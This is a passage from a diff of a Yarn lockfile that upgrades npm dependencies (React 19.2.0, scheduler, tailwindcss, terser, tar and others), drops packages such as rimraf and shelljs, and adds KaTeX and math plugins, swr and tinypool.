- resolution: "react-dom@npm:19.1.0" + version: 19.2.0 + resolution: "react-dom@npm:19.2.0" dependencies: - scheduler: "npm:^0.26.0" + scheduler: "npm:^0.27.0" peerDependencies: - react: ^19.1.0 - checksum: 10c0/3e26e89bb6c67c9a6aa86cb888c7a7f8258f2e347a6d2a15299c17eb16e04c19194e3452bc3255bd34000a61e45e2cb51e46292392340432f133e5a5d2dfb5fc - languageName: node - linkType: hard - -"react-error-overlay@npm:^6.0.11": - version: 6.1.0 - resolution: "react-error-overlay@npm:6.1.0" - checksum: 10c0/2b52308b9e489dfaa25df85c7ed5c200371bc214245161a0833b729f9c6b1a2e591e1d1e07c3d3859ffa19b84a386c219d93df9ba13d819be34c20f40e71a555 + react: ^19.2.0 + checksum: 10c0/fa2cae05248d01288e91523b590ce4e7635b1e13f1344e225f850d722a8da037bf0782f63b1c1d46353334e0c696909b82e582f8cad607948fde6f7646cc18d9 languageName: node linkType: hard @@ -10886,7 +11033,7 @@ __metadata: languageName: node linkType: hard -"react-helmet-async@npm:@slorber/react-helmet-async@*, react-helmet-async@npm:@slorber/react-helmet-async@1.3.0": +"react-helmet-async@npm:@slorber/react-helmet-async@1.3.0": version: 1.3.0 resolution: "@slorber/react-helmet-async@npm:1.3.0" dependencies: @@ -10918,12 +11065,12 @@ __metadata: languageName: node linkType: hard -"react-json-view-lite@npm:^1.2.0": - version: 1.5.0 - resolution: "react-json-view-lite@npm:1.5.0" +"react-json-view-lite@npm:^2.3.0": + version: 2.5.0 + resolution: "react-json-view-lite@npm:2.5.0" peerDependencies: - react: ^16.13.1 || ^17.0.0 || ^18.0.0 - checksum: 10c0/e707717cb6b9d6cca5b138cdfb066e35ee7e493d1c88d4497e3a3a42b7651c8ff924ff53ad2da142a12b23b11379d39f38d8eee278c98c46cd6bc8844864b285 + react: ^18.0.0 || ^19.0.0 + checksum: 10c0/8ecaa23d2fddea03f84892ca96577c5416d60a59ed2cad01dff648a60d25b799dac75dea1771e2b9b639ad026ce1efa7b44e6e636bf497b1d6ea0bac5962b96d languageName: node linkType: hard @@ -11013,9 +11160,9 @@ __metadata: linkType: hard "react@npm:^19.0.0": - version: 19.1.0 - resolution: "react@npm:19.1.0" - checksum: 10c0/530fb9a62237d54137a13d2cfb67a7db6a2156faed43eecc423f4713d9b20c6f2728b026b45e28fcd72e8eadb9e9ed4b089e99f5e295d2f0ad3134251bdd3698 + version: 19.2.0 + resolution: "react@npm:19.2.0" + checksum: 10c0/1b6d64eacb9324725bfe1e7860cb7a6b8a34bc89a482920765ebff5c10578eb487e6b46b2f0df263bd27a25edbdae2c45e5ea5d81ae61404301c1a7192c38330 languageName: node linkType: hard @@ -11054,22 +11201,6 @@ __metadata: languageName: node linkType: hard -"reading-time@npm:^1.5.0": - version: 1.5.0 - resolution: "reading-time@npm:1.5.0" - checksum: 10c0/0f730852fd4fb99e5f78c5b0cf36ab8c3fa15db96f87d9563843f6fd07a47864273ade539ebb184b785b728cde81a70283aa2d9b80cba5ca03b81868be03cabc - languageName: node - linkType: hard - -"rechoir@npm:^0.6.2": - version: 0.6.2 - resolution: "rechoir@npm:0.6.2" - dependencies: - resolve: "npm:^1.1.6" - checksum: 10c0/22c4bb32f4934a9468468b608417194f7e3ceba9a508512125b16082c64f161915a28467562368eeb15dc16058eb5b7c13a20b9eb29ff9927d1ebb3b5aa83e84 - languageName: node - linkType: hard - "recma-build-jsx@npm:^1.0.0": version: 1.0.0 resolution: "recma-build-jsx@npm:1.0.0" @@ -11082,15 +11213,17 @@ __metadata: linkType: hard "recma-jsx@npm:^1.0.0": - version: 1.0.0 - resolution: "recma-jsx@npm:1.0.0" + version: 1.0.1 + resolution: "recma-jsx@npm:1.0.1" dependencies: acorn-jsx: "npm:^5.0.0" estree-util-to-js: "npm:^2.0.0" recma-parse: "npm:^1.0.0" recma-stringify: "npm:^1.0.0" unified: "npm:^11.0.0" - checksum: 10c0/26c2af6dd69336c810468b778be1e4cbac5702cf9382454f17c29cf9b03a4fde47d10385bb26a7ccb34f36fe01af34c24cab9fb0deeed066ea53294be0081f07 + peerDependencies: + acorn: ^6.0.0 || ^7.0.0 || ^8.0.0 + checksum: 10c0/9921b1270581ff133b94678868e665ba0fb6285ee60a6936106bac4899196c2ffb02dde894d9bc088fbf3deacb3e2426a3452e72066bf1203cbefebd7809d93f languageName: node linkType: hard @@ -11118,21 +11251,12 @@ __metadata: languageName: node linkType: hard -"recursive-readdir@npm:^2.2.2": - version: 2.2.3 - resolution: "recursive-readdir@npm:2.2.3" - dependencies: - minimatch: "npm:^3.0.5" - checksum: 10c0/d0238f137b03af9cd645e1e0b40ae78b6cda13846e3ca57f626fcb58a66c79ae018a10e926b13b3a460f1285acc946a4e512ea8daa2e35df4b76a105709930d1 - languageName: node - linkType: hard - -"regenerate-unicode-properties@npm:^10.2.0": - version: 10.2.0 - resolution: "regenerate-unicode-properties@npm:10.2.0" +"regenerate-unicode-properties@npm:^10.2.2": + version: 10.2.2 + resolution: "regenerate-unicode-properties@npm:10.2.2" dependencies: regenerate: "npm:^1.4.2" - checksum: 10c0/5510785eeaf56bbfdf4e663d6753f125c08d2a372d4107bc1b756b7bf142e2ed80c2733a8b54e68fb309ba37690e66a0362699b0e21d5c1f0255dea1b00e6460 + checksum: 10c0/66a1d6a1dbacdfc49afd88f20b2319a4c33cee56d245163e4d8f5f283e0f45d1085a78f7f7406dd19ea3a5dd7a7799cd020cd817c97464a7507f9d10fbdce87c languageName: node linkType: hard @@ -11144,16 +11268,16 @@ __metadata: linkType: hard "regexpu-core@npm:^6.2.0": - version: 6.2.0 - resolution: "regexpu-core@npm:6.2.0" + version: 6.4.0 + resolution: "regexpu-core@npm:6.4.0" dependencies: regenerate: "npm:^1.4.2" - regenerate-unicode-properties: "npm:^10.2.0" + regenerate-unicode-properties: "npm:^10.2.2" regjsgen: "npm:^0.8.0" - regjsparser: "npm:^0.12.0" + regjsparser: "npm:^0.13.0" unicode-match-property-ecmascript: "npm:^2.0.0" - unicode-match-property-value-ecmascript: "npm:^2.1.0" - checksum: 10c0/bbcb83a854bf96ce4005ee4e4618b71c889cda72674ce6092432f0039b47890c2d0dfeb9057d08d440999d9ea03879ebbb7f26ca005ccf94390e55c348859b98 + unicode-match-property-value-ecmascript: "npm:^2.2.1" + checksum: 10c0/1eed9783c023dd06fb1f3ce4b6e3fdf0bc1e30cb036f30aeb2019b351e5e0b74355b40462282ea5db092c79a79331c374c7e9897e44a5ca4509e9f0b570263de languageName: node linkType: hard @@ -11182,14 +11306,29 @@ __metadata: languageName: node linkType: hard -"regjsparser@npm:^0.12.0": - version: 0.12.0 - resolution: "regjsparser@npm:0.12.0" +"regjsparser@npm:^0.13.0": + version: 0.13.0 + resolution: "regjsparser@npm:0.13.0" dependencies: - jsesc: "npm:~3.0.2" + jsesc: "npm:~3.1.0" bin: regjsparser: bin/parser - checksum: 10c0/99d3e4e10c8c7732eb7aa843b8da2fd8b647fe144d3711b480e4647dc3bff4b1e96691ccf17f3ace24aa866a50b064236177cb25e6e4fbbb18285d99edaed83b + checksum: 10c0/4702f85cda09f67747c1b2fb673a0f0e5d1ba39d55f177632265a0be471ba59e3f320623f411649141f752b126b8126eac3ff4c62d317921e430b0472bfc6071 + languageName: node + linkType: hard + +"rehype-katex@npm:^7.0.1": + version: 7.0.1 + resolution: "rehype-katex@npm:7.0.1" + dependencies: + "@types/hast": "npm:^3.0.0" + "@types/katex": "npm:^0.16.0" + hast-util-from-html-isomorphic: "npm:^2.0.0" + hast-util-to-text: "npm:^4.0.0" + katex: "npm:^0.16.0" + unist-util-visit-parents: "npm:^6.0.0" + vfile: "npm:^6.0.0" + checksum: 10c0/73c770319536128b75055d904d06951789d00a0552c11724c0dac2e244dcb21041630552d118a11cc42233fdcd1bfee525e78a0020fde635bd916cceb281dfb1 languageName: node linkType: hard @@ -11273,13 +11412,25 @@ __metadata: languageName: node linkType: hard +"remark-math@npm:^6.0.0": + version: 6.0.0 + resolution: "remark-math@npm:6.0.0" + dependencies: + "@types/mdast": "npm:^4.0.0" + mdast-util-math: "npm:^3.0.0" + micromark-extension-math: "npm:^3.0.0" + unified: "npm:^11.0.0" + checksum: 10c0/859613c4db194bb6b3c9c063661dc52b8ceda9c5cf3256b42f73d93eb8f38a6d634eb5f976fe094425f6f1035aaf329eb49ada314feb3b2b1073326b6d3aaa02 + languageName: node + linkType: hard + "remark-mdx@npm:^3.0.0": - version: 3.1.0 - resolution: "remark-mdx@npm:3.1.0" + version: 3.1.1 + resolution: "remark-mdx@npm:3.1.1" dependencies: mdast-util-mdx: "npm:^3.0.0" micromark-extension-mdxjs: "npm:^3.0.0" - checksum: 10c0/247800fa8561624bdca5776457c5965d99e5e60080e80262c600fe12ddd573862e029e39349e1e36e4c3bf79c8e571ecf4d3d2d8c13485b758391fb500e24a1a + checksum: 10c0/3e5585d4c2448d8ac7548b1d148f04b89251ff47fbfc80be1428cecec2fc2530abe30a5da53bb031283f8a78933259df6120c1cd4cc7cc1d43978d508798ba88 languageName: node linkType: hard @@ -11381,7 +11532,7 @@ __metadata: languageName: node linkType: hard -"resolve@npm:^1.1.6, resolve@npm:^1.14.2": +"resolve@npm:^1.22.10": version: 1.22.10 resolution: "resolve@npm:1.22.10" dependencies: @@ -11394,7 +11545,7 @@ __metadata: languageName: node linkType: hard -"resolve@patch:resolve@npm%3A^1.1.6#optional!builtin, resolve@patch:resolve@npm%3A^1.14.2#optional!builtin": +"resolve@patch:resolve@npm%3A^1.22.10#optional!builtin": version: 1.22.10 resolution: "resolve@patch:resolve@npm%3A1.22.10#optional!builtin::version=1.22.10&hash=c3c19d" dependencies: @@ -11437,17 +11588,6 @@ __metadata: languageName: node linkType: hard -"rimraf@npm:^3.0.2": - version: 3.0.2 - resolution: "rimraf@npm:3.0.2" - dependencies: - glob: "npm:^7.1.3" - bin: - rimraf: bin.js - checksum: 10c0/9cb7757acb489bd83757ba1a274ab545eafd75598a9d817e0c3f8b164238dd90eba50d6b848bd4dcc5f3040912e882dc7ba71653e35af660d77b25c381d402e8 - languageName: node - linkType: hard - "rtlcss@npm:^4.1.0": version: 4.3.0 resolution: "rtlcss@npm:4.3.0" @@ -11462,6 +11602,13 @@ __metadata: languageName: node linkType: hard +"run-applescript@npm:^7.0.0": + version: 7.1.0 + resolution: "run-applescript@npm:7.1.0" + checksum: 10c0/ab826c57c20f244b2ee807704b1ef4ba7f566aa766481ae5922aac785e2570809e297c69afcccc3593095b538a8a77d26f2b2e9a1d9dffee24e0e039502d1a03 + languageName: node + linkType: hard + "run-parallel@npm:^1.1.9": version: 1.2.0 resolution: "run-parallel@npm:1.2.0" @@ -11499,21 +11646,17 @@ __metadata: languageName: node linkType: hard -"scheduler@npm:^0.26.0": - version: 0.26.0 - resolution: "scheduler@npm:0.26.0" - checksum: 10c0/5b8d5bfddaae3513410eda54f2268e98a376a429931921a81b5c3a2873aab7ca4d775a8caac5498f8cbc7d0daeab947cf923dbd8e215d61671f9f4e392d34356 +"scheduler@npm:^0.27.0": + version: 0.27.0 + resolution: "scheduler@npm:0.27.0" + checksum: 10c0/4f03048cb05a3c8fddc45813052251eca00688f413a3cee236d984a161da28db28ba71bd11e7a3dd02f7af84ab28d39fb311431d3b3772fed557945beb00c452 languageName: node linkType: hard -"schema-utils@npm:2.7.0": - version: 2.7.0 - resolution: "schema-utils@npm:2.7.0" - dependencies: - "@types/json-schema": "npm:^7.0.4" - ajv: "npm:^6.12.2" - ajv-keywords: "npm:^3.4.1" - checksum: 10c0/723c3c856a0313a89aa81c5fb2c93d4b11225f5cdd442665fddd55d3c285ae72e079f5286a3a9a1a973affe888f6c33554a2cf47b79b24cd8de2f1f756a6fb1b +"schema-dts@npm:^1.1.2": + version: 1.1.5 + resolution: "schema-dts@npm:1.1.5" + checksum: 10c0/babe23a1577c75c5df79d73acf34af3399e60928eab46f2236a0c4212061f5778d613a31c9e9ec86a2807d20b1ea460673d72d3fe1f64fb7543867460e607f76 languageName: node linkType: hard @@ -11528,15 +11671,15 @@ __metadata: languageName: node linkType: hard -"schema-utils@npm:^4.0.0, schema-utils@npm:^4.0.1, schema-utils@npm:^4.3.0, schema-utils@npm:^4.3.2": - version: 4.3.2 - resolution: "schema-utils@npm:4.3.2" +"schema-utils@npm:^4.0.0, schema-utils@npm:^4.0.1, schema-utils@npm:^4.2.0, schema-utils@npm:^4.3.0, schema-utils@npm:^4.3.3": + version: 4.3.3 + resolution: "schema-utils@npm:4.3.3" dependencies: "@types/json-schema": "npm:^7.0.9" ajv: "npm:^8.9.0" ajv-formats: "npm:^2.1.1" ajv-keywords: "npm:^5.1.0" - checksum: 10c0/981632f9bf59f35b15a9bcdac671dd183f4946fe4b055ae71a301e66a9797b95e5dd450de581eb6cca56fb6583ce8f24d67b2d9f8e1b2936612209697f6c277e + checksum: 10c0/1c8d2c480a026d7c02ab2ecbe5919133a096d6a721a3f201fa50663e4f30f6d6ba020dfddd93cb828b66b922e76b342e103edd19a62c95c8f60e9079cc403202 languageName: node linkType: hard @@ -11557,7 +11700,7 @@ __metadata: languageName: node linkType: hard -"selfsigned@npm:^2.1.1": +"selfsigned@npm:^2.4.1": version: 2.4.1 resolution: "selfsigned@npm:2.4.1" dependencies: @@ -11585,12 +11728,12 @@ __metadata: languageName: node linkType: hard -"semver@npm:^7.3.2, semver@npm:^7.3.5, semver@npm:^7.3.7, semver@npm:^7.5.4": - version: 7.7.2 - resolution: "semver@npm:7.7.2" +"semver@npm:^7.3.5, semver@npm:^7.3.7, semver@npm:^7.5.4": + version: 7.7.3 + resolution: "semver@npm:7.7.3" bin: semver: bin/semver.js - checksum: 10c0/aca305edfbf2383c22571cb7714f48cadc7ac95371b4b52362fb8eeffdfbc0de0669368b82b2b15978f8848f01d7114da65697e56cd8c37b0dab8c58e543f9ea + checksum: 10c0/4afe5c986567db82f44c8c6faef8fe9df2a9b1d98098fc1721f57c696c4c21cebd572f297fc21002f81889492345b8470473bc6f4aff5fb032a6ea59ea2bc45e languageName: node linkType: hard @@ -11733,23 +11876,10 @@ __metadata: languageName: node linkType: hard -"shell-quote@npm:^1.7.3, shell-quote@npm:^1.8.1": - version: 1.8.2 - resolution: "shell-quote@npm:1.8.2" - checksum: 10c0/85fdd44f2ad76e723d34eb72c753f04d847ab64e9f1f10677e3f518d0e5b0752a176fd805297b30bb8c3a1556ebe6e77d2288dbd7b7b0110c7e941e9e9c20ce1 - languageName: node - linkType: hard - -"shelljs@npm:^0.8.5": - version: 0.8.5 - resolution: "shelljs@npm:0.8.5" - dependencies: - glob: "npm:^7.0.0" - interpret: "npm:^1.0.0" - rechoir: "npm:^0.6.2" - bin: - shjs: bin/shjs - checksum: 10c0/feb25289a12e4bcd04c40ddfab51aff98a3729f5c2602d5b1a1b95f6819ec7804ac8147ebd8d9a85dfab69d501bcf92d7acef03247320f51c1552cec8d8e2382 +"shell-quote@npm:^1.8.3": + version: 1.8.3 + resolution: "shell-quote@npm:1.8.3" + checksum: 10c0/bee87c34e1e986cfb4c30846b8e6327d18874f10b535699866f368ade11ea4ee45433d97bf5eada22c4320c27df79c3a6a7eb1bf3ecfc47f2c997d9e5e2672fd languageName: node linkType: hard @@ -11910,12 +12040,12 @@ __metadata: linkType: hard "socks@npm:^2.8.3": - version: 2.8.4 - resolution: "socks@npm:2.8.4" + version: 2.8.7 + resolution: "socks@npm:2.8.7" dependencies: - ip-address: "npm:^9.0.5" + ip-address: "npm:^10.0.1" smart-buffer: "npm:^4.2.0" - checksum: 10c0/00c3271e233ccf1fb83a3dd2060b94cc37817e0f797a93c560b9a7a86c4a0ec2961fb31263bdd24a3c28945e24868b5f063cd98744171d9e942c513454b50ae5 + checksum: 10c0/2805a43a1c4bcf9ebf6e018268d87b32b32b06fbbc1f9282573583acc155860dc361500f89c73bfbb157caa1b4ac78059eac0ef15d1811eb0ca75e0bdadbc9d2 languageName: node linkType: hard @@ -11951,9 +12081,9 @@ __metadata: linkType: hard "source-map@npm:^0.7.0": - version: 0.7.4 - resolution: "source-map@npm:0.7.4" - checksum: 10c0/dc0cf3768fe23c345ea8760487f8c97ef6fca8a73c83cd7c9bf2fde8bc2c34adb9c0824d6feb14bc4f9e37fb522e18af621543f1289038a66ac7586da29aa7dc + version: 0.7.6 + resolution: "source-map@npm:0.7.6" + checksum: 10c0/59f6f05538539b274ba771d2e9e32f6c65451982510564438e048bc1352f019c6efcdc6dd07909b1968144941c14015c2c7d4369fb7c4d7d53ae769716dcc16c languageName: node linkType: hard @@ -11991,13 +12121,6 @@ __metadata: languageName: node linkType: hard -"sprintf-js@npm:^1.1.3": - version: 1.1.3 - resolution: "sprintf-js@npm:1.1.3" - checksum: 10c0/09270dc4f30d479e666aee820eacd9e464215cdff53848b443964202bf4051490538e5dd1b42e1a65cf7296916ca17640aebf63dae9812749c7542ee5f288dec - languageName: node - linkType: hard - "sprintf-js@npm:~1.0.2": version: 1.0.3 resolution: "sprintf-js@npm:1.0.3" @@ -12036,9 +12159,9 @@ __metadata: linkType: hard "std-env@npm:^3.7.0": - version: 3.9.0 - resolution: "std-env@npm:3.9.0" - checksum: 10c0/4a6f9218aef3f41046c3c7ecf1f98df00b30a07f4f35c6d47b28329bc2531eef820828951c7d7b39a1c5eb19ad8a46e3ddfc7deb28f0a2f3ceebee11bab7ba50 + version: 3.10.0 + resolution: "std-env@npm:3.10.0" + checksum: 10c0/1814927a45004d36dde6707eaf17552a546769bc79a6421be2c16ce77d238158dfe5de30910b78ec30d95135cc1c59ea73ee22d2ca170f8b9753f84da34c427f languageName: node linkType: hard @@ -12113,11 +12236,11 @@ __metadata: linkType: hard "strip-ansi@npm:^7.0.1": - version: 7.1.0 - resolution: "strip-ansi@npm:7.1.0" + version: 7.1.2 + resolution: "strip-ansi@npm:7.1.2" dependencies: ansi-regex: "npm:^6.0.1" - checksum: 10c0/a198c3762e8832505328cbf9e8c8381de14a4fa50a4f9b2160138158ea88c0f5549fb50cb13c651c3088f47e63a108b34622ec18c0499b6c8c3a5ddf6b305ac4 + checksum: 10c0/0d6d7a023de33368fd042aab0bf48f4f4077abdfd60e5393e73c7c411e85e1b3a83507c11af2e656188511475776215df9ca589b4da2295c9455cc399ce1858b languageName: node linkType: hard @@ -12150,20 +12273,20 @@ __metadata: linkType: hard "style-to-js@npm:^1.0.0": - version: 1.1.16 - resolution: "style-to-js@npm:1.1.16" + version: 1.1.18 + resolution: "style-to-js@npm:1.1.18" dependencies: - style-to-object: "npm:1.0.8" - checksum: 10c0/578a4dff804539ec7e64d3cc8d327540befb9ad30e3cd0b6b0392f93f793f3a028f90084a9aaff088bffb87818fa2c6c153f0df576f61f9ab0b0938b582bcac7 + style-to-object: "npm:1.0.11" + checksum: 10c0/093c42dc4085e11fba03ae140680841465ebff00f57245ec2431dee8e56de1a00fa35999c721e72f641b314e4f9273a02b8cc356749324de84767487af13c4c5 languageName: node linkType: hard -"style-to-object@npm:1.0.8": - version: 1.0.8 - resolution: "style-to-object@npm:1.0.8" +"style-to-object@npm:1.0.11": + version: 1.0.11 + resolution: "style-to-object@npm:1.0.11" dependencies: inline-style-parser: "npm:0.2.4" - checksum: 10c0/daa6646b1ff18258c0ca33ed281fbe73485c8391192db1b56ce89d40c93ea64507a41e8701d0dadfe771bc2f540c46c9b295135f71584c8e5cb23d6a19be9430 + checksum: 10c0/e00db418b076dbe5851d5a00ec96cf4382a32821da0e11f3c6c7dcf863e3a802bc10873e22596e2add27ac1a98bb8a77e253d7a951b50651952e7f92bf5beb8d languageName: node linkType: hard @@ -12228,6 +12351,18 @@ __metadata: languageName: node linkType: hard +"swr@npm:^2.2.5": + version: 2.3.6 + resolution: "swr@npm:2.3.6" + dependencies: + dequal: "npm:^2.0.3" + use-sync-external-store: "npm:^1.4.0" + peerDependencies: + react: ^16.11.0 || ^17.0.0 || ^18.0.0 || ^19.0.0 + checksum: 10c0/9534f350982e36a3ae0a13da8c0f7da7011fc979e77f306e60c4e5db0f9b84f17172c44f973441ba56bb684b69b0d9838ab40011a6b6b3e32d0cd7f3d5405f99 + languageName: node + linkType: hard + "tailwind-merge@npm:^3.3.1": version: 3.3.1 resolution: "tailwind-merge@npm:3.3.1" @@ -12235,38 +12370,30 @@ __metadata: languageName: node linkType: hard -"tailwindcss@npm:4.1.7, tailwindcss@npm:^4.1.7": - version: 4.1.7 - resolution: "tailwindcss@npm:4.1.7" - checksum: 10c0/abe56f990bd4b03e0b332a2a39063e7f0f7359e6591282ba4e56ac18e5c58baca6b271072221253fcab7d9534d50f384f13fc41b66b06e0e427ef3f0ab2035bf - languageName: node - linkType: hard - -"tapable@npm:^1.0.0": - version: 1.1.3 - resolution: "tapable@npm:1.1.3" - checksum: 10c0/c9f0265e55e45821ec672b9b9ee8a35d95bf3ea6b352199f8606a2799018e89cfe4433c554d424b31fc67c4be26b05d4f36dc3c607def416fdb2514cd63dba50 +"tailwindcss@npm:4.1.14, tailwindcss@npm:^4.1.7": + version: 4.1.14 + resolution: "tailwindcss@npm:4.1.14" + checksum: 10c0/c7e9ebfb241707b2a3eb7d465fd326cc8fcfa22e7215e01f67cccec32db8a49a19e17d1f694fc5d0435d55350ea3f863521c52c9bbe6bd790c2009dc8ff516a1 languageName: node linkType: hard -"tapable@npm:^2.0.0, tapable@npm:^2.1.1, tapable@npm:^2.2.0, tapable@npm:^2.2.1": - version: 2.2.2 - resolution: "tapable@npm:2.2.2" - checksum: 10c0/8ad130aa705cab6486ad89e42233569a1fb1ff21af115f59cebe9f2b45e9e7995efceaa9cc5062510cdb4ec673b527924b2ab812e3579c55ad659ae92117011e +"tapable@npm:^2.0.0, tapable@npm:^2.2.0, tapable@npm:^2.2.1, tapable@npm:^2.3.0": + version: 2.3.0 + resolution: "tapable@npm:2.3.0" + checksum: 10c0/cb9d67cc2c6a74dedc812ef3085d9d681edd2c1fa18e4aef57a3c0605fdbe44e6b8ea00bd9ef21bc74dd45314e39d31227aa031ebf2f5e38164df514136f2681 languageName: node linkType: hard -"tar@npm:^7.4.3": - version: 7.4.3 - resolution: "tar@npm:7.4.3" +"tar@npm:^7.4.3, tar@npm:^7.5.1": + version: 7.5.1 + resolution: "tar@npm:7.5.1" dependencies: "@isaacs/fs-minipass": "npm:^4.0.0" chownr: "npm:^3.0.0" minipass: "npm:^7.1.2" - minizlib: "npm:^3.0.1" - mkdirp: "npm:^3.0.1" + minizlib: "npm:^3.1.0" yallist: "npm:^5.0.0" - checksum: 10c0/d4679609bb2a9b48eeaf84632b6d844128d2412b95b6de07d53d8ee8baf4ca0857c9331dfa510390a0727b550fd543d4d1a10995ad86cdf078423fbb8d99831d + checksum: 10c0/0dad0596a61586180981133b20c32cfd93c5863c5b7140d646714e6ea8ec84583b879e5dc3928a4d683be6e6109ad7ea3de1cf71986d5194f81b3a016c8858c9 languageName: node linkType: hard @@ -12293,23 +12420,25 @@ __metadata: linkType: hard "terser@npm:^5.10.0, terser@npm:^5.15.1, terser@npm:^5.31.1": - version: 5.39.2 - resolution: "terser@npm:5.39.2" + version: 5.44.0 + resolution: "terser@npm:5.44.0" dependencies: "@jridgewell/source-map": "npm:^0.3.3" - acorn: "npm:^8.14.0" + acorn: "npm:^8.15.0" commander: "npm:^2.20.0" source-map-support: "npm:~0.5.20" bin: terser: bin/terser - checksum: 10c0/f70462feddecf458ad2441b16b2969e0024f81c6e47207717a096cfa1d60b85e0c60a129b42c80bcb258c28ae16e4e6d875db8bb9df9be9b5bc748807c2916ba + checksum: 10c0/f2838dc65ac2ac6a31c7233065364080de73cc363ecb8fe723a54f663b2fa9429abf08bc3920a6bea85c5c7c29908ffcf822baf1572574f8d3859a009bbf2327 languageName: node linkType: hard -"text-table@npm:^0.2.0": - version: 0.2.0 - resolution: "text-table@npm:0.2.0" - checksum: 10c0/02805740c12851ea5982686810702e2f14369a5f4c5c40a836821e3eefc65ffeec3131ba324692a37608294b0fd8c1e55a2dd571ffed4909822787668ddbee5c +"thingies@npm:^2.5.0": + version: 2.5.0 + resolution: "thingies@npm:2.5.0" + peerDependencies: + tslib: ^2 + checksum: 10c0/52194642c129615b6af15648621be9a2784ad25526e3facca6c28aa1a36ea32245ef146ebc3fbaf64a3605b8301a5335da505d0c314f851ff293b184e0de7fb9 languageName: node linkType: hard @@ -12320,6 +12449,13 @@ __metadata: languageName: node linkType: hard +"throttleit@npm:2.1.0": + version: 2.1.0 + resolution: "throttleit@npm:2.1.0" + checksum: 10c0/1696ae849522cea6ba4f4f3beac1f6655d335e51b42d99215e196a718adced0069e48deaaf77f7e89f526ab31de5b5c91016027da182438e6f9280be2f3d5265 + languageName: node + linkType: hard + "thunky@npm:^1.0.2": version: 1.1.0 resolution: "thunky@npm:1.1.0" @@ -12342,12 +12478,19 @@ __metadata: linkType: hard "tinyglobby@npm:^0.2.12": - version: 0.2.13 - resolution: "tinyglobby@npm:0.2.13" + version: 0.2.15 + resolution: "tinyglobby@npm:0.2.15" dependencies: - fdir: "npm:^6.4.4" - picomatch: "npm:^4.0.2" - checksum: 10c0/ef07dfaa7b26936601d3f6d999f7928a4d1c6234c5eb36896bb88681947c0d459b7ebe797022400e555fe4b894db06e922b95d0ce60cb05fd827a0a66326b18c + fdir: "npm:^6.5.0" + picomatch: "npm:^4.0.3" + checksum: 10c0/869c31490d0d88eedb8305d178d4c75e7463e820df5a9b9d388291daf93e8b1eb5de1dad1c1e139767e4269fe75f3b10d5009b2cc14db96ff98986920a186844 + languageName: node + linkType: hard + +"tinypool@npm:^1.0.2": + version: 1.1.1 + resolution: "tinypool@npm:1.1.1" + checksum: 10c0/bf26727d01443061b04fa863f571016950888ea994ba0cd8cba3a1c51e2458d84574341ab8dbc3664f1c3ab20885c8cf9ff1cc4b18201f04c2cde7d317fff69b languageName: node linkType: hard @@ -12374,6 +12517,15 @@ __metadata: languageName: node linkType: hard +"tree-dump@npm:^1.0.3, tree-dump@npm:^1.1.0": + version: 1.1.0 + resolution: "tree-dump@npm:1.1.0" + peerDependencies: + tslib: 2 + checksum: 10c0/079f0f0163b68ee2eedc65cab1de6fb121487eba9ae135c106a8bc5e4ab7906ae0b57d86016e4a7da8c0ee906da1eae8c6a1490cd6e2a5e5ccbca321e1f959ca + languageName: node + linkType: hard + "trim-lines@npm:^3.0.0": version: 3.0.1 resolution: "trim-lines@npm:3.0.1" @@ -12388,7 +12540,7 @@ __metadata: languageName: node linkType: hard -"tslib@npm:^2.0.3, tslib@npm:^2.4.0, tslib@npm:^2.6.0, tslib@npm:^2.8.0": +"tslib@npm:^2.0.0, tslib@npm:^2.0.3, tslib@npm:^2.4.0, tslib@npm:^2.6.0": version: 2.8.1 resolution: "tslib@npm:2.8.1" checksum: 10c0/9c4759110a19c53f992d9aae23aac5ced636e99887b51b9e61def52611732872ff7668757d4e4c61f19691e36f4da981cd9485e869b4a7408d689f6bf1f14e62 @@ -12455,10 +12607,10 @@ __metadata: languageName: node linkType: hard -"undici-types@npm:~6.21.0": - version: 6.21.0 - resolution: "undici-types@npm:6.21.0" - checksum: 10c0/c01ed51829b10aa72fc3ce64b747f8e74ae9b60eafa19a7b46ef624403508a54c526ffab06a14a26b3120d055e1104d7abe7c9017e83ced038ea5cf52f8d5e04 +"undici-types@npm:~7.14.0": + version: 7.14.0 + resolution: "undici-types@npm:7.14.0" + checksum: 10c0/e7f3214b45d788f03c51ceb33817be99c65dae203863aa9386b3ccc47201a245a7955fc721fb581da9c888b6ebad59fa3f53405214afec04c455a479908f0f14 languageName: node linkType: hard @@ -12486,17 +12638,17 @@ __metadata: languageName: node linkType: hard -"unicode-match-property-value-ecmascript@npm:^2.1.0": - version: 2.2.0 - resolution: "unicode-match-property-value-ecmascript@npm:2.2.0" - checksum: 10c0/1d0a2deefd97974ddff5b7cb84f9884177f4489928dfcebb4b2b091d6124f2739df51fc6ea15958e1b5637ac2a24cff9bf21ea81e45335086ac52c0b4c717d6d +"unicode-match-property-value-ecmascript@npm:^2.2.1": + version: 2.2.1 + resolution: "unicode-match-property-value-ecmascript@npm:2.2.1" + checksum: 10c0/93acd1ad9496b600e5379d1aaca154cf551c5d6d4a0aefaf0984fc2e6288e99220adbeb82c935cde461457fb6af0264a1774b8dfd4d9a9e31548df3352a4194d languageName: node linkType: hard "unicode-property-aliases-ecmascript@npm:^2.0.0": - version: 2.1.0 - resolution: "unicode-property-aliases-ecmascript@npm:2.1.0" - checksum: 10c0/50ded3f8c963c7785e48c510a3b7c6bc4e08a579551489aa0349680a35b1ceceec122e33b2b6c1b579d0be2250f34bb163ac35f5f8695fe10bbc67fb757f0af8 + version: 2.2.0 + resolution: "unicode-property-aliases-ecmascript@npm:2.2.0" + checksum: 10c0/b338529831c988ac696f2bdbcd4579d1c5cc844b24eda7269973c457fa81989bdb49a366af37a448eb1a60f1dae89559ea2a5854db2797e972a0162eee0778c6 languageName: node linkType: hard @@ -12542,6 +12694,16 @@ __metadata: languageName: node linkType: hard +"unist-util-find-after@npm:^5.0.0": + version: 5.0.0 + resolution: "unist-util-find-after@npm:5.0.0" + dependencies: + "@types/unist": "npm:^3.0.0" + unist-util-is: "npm:^6.0.0" + checksum: 10c0/a7cea473c4384df8de867c456b797ff1221b20f822e1af673ff5812ed505358b36f47f3b084ac14c3622cb879ed833b71b288e8aa71025352a2aab4c2925a6eb + languageName: node + linkType: hard + "unist-util-is@npm:^6.0.0": version: 6.0.0 resolution: "unist-util-is@npm:6.0.0" @@ -12569,6 +12731,16 @@ __metadata: languageName: node linkType: hard +"unist-util-remove-position@npm:^5.0.0": + version: 5.0.0 + resolution: "unist-util-remove-position@npm:5.0.0" + dependencies: + "@types/unist": "npm:^3.0.0" + unist-util-visit: "npm:^5.0.0" + checksum: 